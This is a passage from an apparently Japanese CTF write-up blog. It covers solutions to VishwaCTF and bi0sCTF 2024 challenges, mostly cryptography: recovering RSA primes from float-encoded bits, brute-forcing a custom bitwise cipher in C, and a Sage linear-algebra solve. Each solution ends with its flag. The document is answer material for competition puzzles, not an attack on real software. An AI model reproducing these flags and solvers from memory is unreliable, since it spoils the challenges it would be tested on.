file2.txtについては、以下のように対応づけられる。

・8.414709848078965049e-01 → "1"
・0.000000000000000000e+00 → "0"

あとはそれを2進数として整数にすればp, qになると推測して、RSA暗号としてmsgを復号する。msgは入力文字列のASCIIコードを文字列として結合したものなので、32以上126以下になるよう区切ってデコードする。
あとはフラグの形式にすればフラグになる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('file1.txt', 'r') as f:
    lines1 = f.read().splitlines()

with open('file2.txt', 'r') as f:
    lines2 = f.read().splitlines()

p = ''
for line in lines1:
    if line == '5.403023058681397650e-01':
        p += '1'
    else:
        p += '0'

q = ''
for line in lines2:
    if line == '8.414709848078965049e-01':
        q += '1'
    else:
        q += '0'

p = int(p, 2)
q = int(q, 2)

with open('file.txt', 'r') as f:
    c = int(f.read())

e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
msg = pow(c, d, p * q)

result = str(msg)

input_string = ''
code = ''
for i in range(len(result)):
    code += result[i]
    if int(code) >= 32 and int(code) < 127:
        input_string += chr(int(code))
        code = ''

flag = 'VishwaCTF{%s}' % input_string
print(flag)
VishwaCTF{Y0U_@R3_T#3_W0RT#Y_OF_3}

BitBane - Cryptic Chaos (Cryptography, Hard)

暗号化処理の概要は以下の通り。

・data: フラグ
・encryption: int型の空配列
・key = "VishwaCTF"
・encode(encryption, data, key)
 ・dataの長さだけ以下繰り返し
  ・curr: dataのi番目の文字のASCIIコード
  ・idx = (i % 8) + 2
  ・num = create(curr, idx)
   ・not_remainder = 0
   ・topping = createTopping(curr, idx, not_remainder)
    ・temp = 0
    ・num = 1
    ・num = num << 1 = 2
    ・currが0以外の間以下繰り返し
     ・remainder = curr % idx
     ・remainderが0以外の場合
      ・temp = temp * 10 + remainder
      ・curr = curr - remainder
     ・remainderが0の場合
      ・num = num | 1
      ・curr = curr / idx
    ・temp = temp << 1
    ・temp = temp | 1
    ・not_remainder = temp
   ・base = createBase(not_remainder)
    ・num = 0
    ・30回以下繰り返し
     ・not_remainderが0以外の間以下繰り返し
      ・num = num | (not_remainder & 1)
      ・not_remainder = not_remainder >> 1
     ・num = num << 1
    ・numを返却
  ・encryption.push_back(num)
・applyKey(encryption, key)
 ・n: keyの長さ
 ・nだけ以下繰り返し(i)
  ・curr = keyのi番目の文字のASCIIコード
  ・cnt = 0
  ・cpy = curr
  ・cpyが0以外の間以下繰り返し
   ・cpyの最下位ビットが立っている場合
    ・cntをプラス1
   ・cpy = cpy >> 1
  ・curr = curr << (i + 10)
  ・cntが0以外の間以下繰り返し
   ・cntをマイナス1
   ・curr = curr << 1
   ・curr = curr ^ 1
  ・k: encryptionの長さ
  ・kだけ以下繰り返し(j)
   ・encryption[j] = encryption[j] ^ curr
・extraSecurity(encryption)
 ・n: encryptionの長さ
 ・nだけ以下繰り返し(i)
  ・idx = i + 2
  ・res = checkValidity(idx)
   ・iが2以上i*iがnum未満の間
    ・num % iが0の場合
     ・falseを返却
   ・trueを返却
  ・resがtrueの場合
   ・encryption[i] = ~encryption[i]
・writeToFile(encryption)
 ・encryptionの各値をスペース区切りでEncrypted.txtに出力

1バイトずつ処理をしているので、ブルートフォースで復号する。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

#define LEN 55

int createTopping(int curr, int idx, int *not_remainder)
{
    int temp = 0;
    int num = 1;
    num = num << 1;
    while (curr)
    {
        int remainder = curr % idx;
        if (remainder)
        {
            temp = temp * 10 + remainder;
            curr = curr - remainder;
        }
        else
        {
            num = num | 1;
            curr = curr / idx;
        }
        num = num << 1;
    }
    temp = temp << 1;
    temp = temp | 1;
    *not_remainder = temp;
    return num | 1;
}

int createBase(int not_remainder)
{
    int num = 0;
    for (int i = 0; i < 30; ++i)
    {
        if (not_remainder)
        {
            num = num | (not_remainder & 1);
            not_remainder = not_remainder >> 1;
        }
        num = num << 1;
    }
    return num;
}

int create(int curr, int idx)
{
    int not_remainder = 0;
    int topping = createTopping(curr, idx, &not_remainder);
    int base = createBase(not_remainder);
    int num = base | topping;
    return num;
}

bool checkValidity(int num)
{
    for (int i = 2; i * i < num; ++i)
    {
        if (num % i == 0)
            return false;
    }
    return true;
}

int extraSecurity(int curr, int index)
{
    int idx = index + 2;
    if (checkValidity(idx))
    {
        curr = ~curr;
    }
    return curr;
}

int encode(int curr, int index)
{
    int idx = (index % 8) + 2;
    int num = create(curr, idx);
    return num;
}

int makeXorKey(char *key) {
    int xor_key = 0;
    int n = strlen(key);
    for (int i = 0; i < n; ++i) {
        int curr = key[i];
        int cnt = 0;
        int cpy = curr;
        while (cpy) {
            if (cpy & 1)
                ++cnt;
            cpy = cpy >> 1;
        }
        curr = curr << (i + 10);
        while (cnt--) {
            curr = curr << 1;
            curr = curr ^ 1;
        }
        xor_key = xor_key ^ curr;
    }
    return xor_key;
}

void main()
{
    FILE *fp;
    int c;
    int ii = 0, jj = 0;
    char buf[16];
    int encryption[LEN];

    fp = fopen("Encrypted.txt", "r");
    while (true) {
        c = fgetc(fp);
        if (c == EOF) {
            break;
        } else if (c == 32) {
           buf[ii] = 0;
           encryption[jj] = atoi(buf);
           ii = 0;
           jj++;
        } else {
           buf[ii] = c;
           ii++;
        }
    }

    char key[10] = "VishwaCTF\0";
    int newkey = makeXorKey(key);

    int num;
    char flag[56] = {0};
    for (int i = 0; i < LEN; i++) {
        for (int code = 32; code < 127; code++) {
            num = encode(code, i);
            num = num ^ newkey;
            num = extraSecurity(num, i);
            if (num == encryption[i]) {
                flag[i] = code;
                break;
            }
        }
    }
    printf("%s\n", flag);
}
VishwaCTF{BIT5_3NCRYPT3D_D3CRYPTED_M1ND5_D33PLY_TE5T3D}

Feedback (Miscellaneous, Beginner)

アンケートに答えたら、フラグが表示された。

VishwaCTF{th4nk_y0u_f0r_p4rt1c1pat1ng_in_VishwaCTF'24}

bi0sCTF 2024 Writeup

この大会は2024/2/24 21:00(JST)~2024/2/26 9:00(JST)に開催されました。
今回もチームで参戦。結果は201点で294チーム中113位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Discordに入り、各チャネルを見るが、フラグは見当たらない。
#announcementsチャネルのCTF開始のメッセージあたりがあやしい。以下のように書いてあるが、文字が隠されているのかもしれない。

"Welcome" to the game https://ctf.bi0s.in/

Sakuraエディタにコピーする。

"Welcome" to the game https://bi0sctf%7Bh1dd3n_1n_pl41n_s1ght%7D:hehe@ctf.bi0s.in/

フラグが含まれていた。

bi0sctf{h1dd3n_1n_pl41n_s1ght}

lalala (Cryptography)

unknowsまで割り出すことができれば、下3桁がフラグの{}の中の各文字のASCIIコードになるので、フラグを割り出せる。
unknowsを割り出す方法を考える必要がある。
100種類の以下の値がわかっている。

aa(0~2**1024のリスト), bb(0~9のリスト), cc(0~9のリスト), 
sum([a + unknowns[b]^2 * unknowns[c]^3 for a, b, c in zip(aa, bb, cc)]) % p

aaの合計値は分かっているので、以下のような値の合計値がわかっていることになる。

x00 * unknowns[0]^2 * unknowns[0]^3 + x01 * unknowns[0]^2 * unknowns[1]^3 + ... + x99 * unknowns[9]^2 * unknowns[9]^3

x00~x99の値がわかるので、100元方程式として各(unknowns[b]^2 * unknowns[c]^3) % pの値を算出できる。各iについて、以下の式が導ける

pow(unknowns[i], 5, p) = Ci

unknowns[i]の5乗がpに届かないと推測し、5乗根を求めることによってunknowns[i]を算出する。

#!/usr/bin/env sage
with open('out.py', 'r') as f:
    params = f.read().splitlines()

p = int(params[0].split(' = ')[1])
output = eval(params[1].split(' = ')[1])

rows = []
C = []
for i in range(0, len(output), 4):
    aa = output[i]
    bb = output[i + 1]
    cc = output[i + 2]
    S = output[i + 3]
    C.append([(S - sum(aa)) % p])
    row = [0] * 100
    for j in range(1000):
        index = bb[j] * 10 + cc[j]
        row[index] += 1
    rows.append(row)

M = matrix(Zmod(p), rows)
C = matrix(Zmod(p), C)
X = M.inverse() * C

e = 5
flag = ''
for i in range(10):
    c = int(X[i * 11][0])
    m = c ^ (1 / e)
    assert m ^ e == c
    flag += chr(m % 1000)

flag = 'bi0sctf{%s}' % flag
print(flag)
bi0sctf{8d522ae1a7}

Feedback (Misc)

アンケートに答えたら、フラグが表示された。

bi0sctf{th4nk5_f0r_pl4y1ng_bi0sctf2024}